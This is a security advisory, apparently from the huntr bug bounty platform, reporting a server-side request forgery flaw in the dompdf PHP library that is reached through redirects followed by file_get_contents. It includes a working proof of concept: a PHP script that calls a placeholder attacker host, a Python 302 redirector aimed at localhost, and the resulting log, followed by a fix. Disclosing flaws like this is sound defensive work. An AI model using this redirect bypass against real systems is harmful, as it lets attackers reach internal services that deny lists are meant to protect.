Lucene search

K
huntrHaxatron73DBCC78-5BA9-492F-9133-13BBC9F31236
HistoryJan 02, 2022 - 5:58 a.m.

Server-Side Request Forgery (SSRF) in dompdf/dompdf

2022-01-0205:58:51
haxatron
www.huntr.dev
24

0.001 Low

EPSS

Percentile

30.0%

Description

DomPDF uses file_get_contents to obtain HTTP files when allow_url_fopen is “On”. On default contexts, file_get_contents will redirect whenever served with a 302 response. When developers use DomPDF with isRemoteEnabled set to “true” and allow_url_fopen set to “true”, but restrict IP addresses via a deny list, it is possible for an attacker to pass in a URL which passes this deny list but serves a 302 redirect response to a restricted IP address. When this URL enters dompdf, file_get_contents() will both follow the redirection and cause an SSRF vulnerability.

Proof of Concept - allow_url_fopen is turned on

poc.php

<?php

//URL variable

$url = "http://[ATTACKER-IP]";

require_once 'dompdf/autoload.inc.php'; 

use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);

$dompdf = new Dompdf($options);

$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);

if ($ip !== "127.0.0.1") {
   $dompdf->loadHtmlFile($url);
   $dompdf->setPaper('A4', 'landscape'); 
   $dompdf->render(); 
   $dompdf->stream(); 
}

?>

redirector.py - hosted on "http://[ATTACKER-IP]

#!/usr/bin/env python3

#python3 redirector.py 80 http://127.0.0.1:8000/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', sys.argv[2])
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Result -

root@test:/home/test# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [02/Jan/2022 05:38:20] "GET / HTTP/1.0" 200 -
127.0.0.1 - - [02/Jan/2022 05:38:31] "GET / HTTP/1.0" 200 -

Impact

On default contexts, when a developer wants to allow remote fetching in DomPDF but implements deny lists for private IP addresses, then an attacker can easily bypass the deny list by hosting a server with a 302 redirect response to an internal IP address. DomPDF will follow the redirection to the private IP address. (SSRF)

Recommended Fix

Disable file_get_contents redirection in the default context, since curl already disables it by default, this can be done by easily replacing the following default context at https://github.com/dompdf/dompdf/blob/e71dfa4b6ee733430548ebc8708e3f49909aaf8e/src/Helpers.php#L859 with

stream_context_create(['http' => ['follow_location' => false]]);

0.001 Low

EPSS

Percentile

30.0%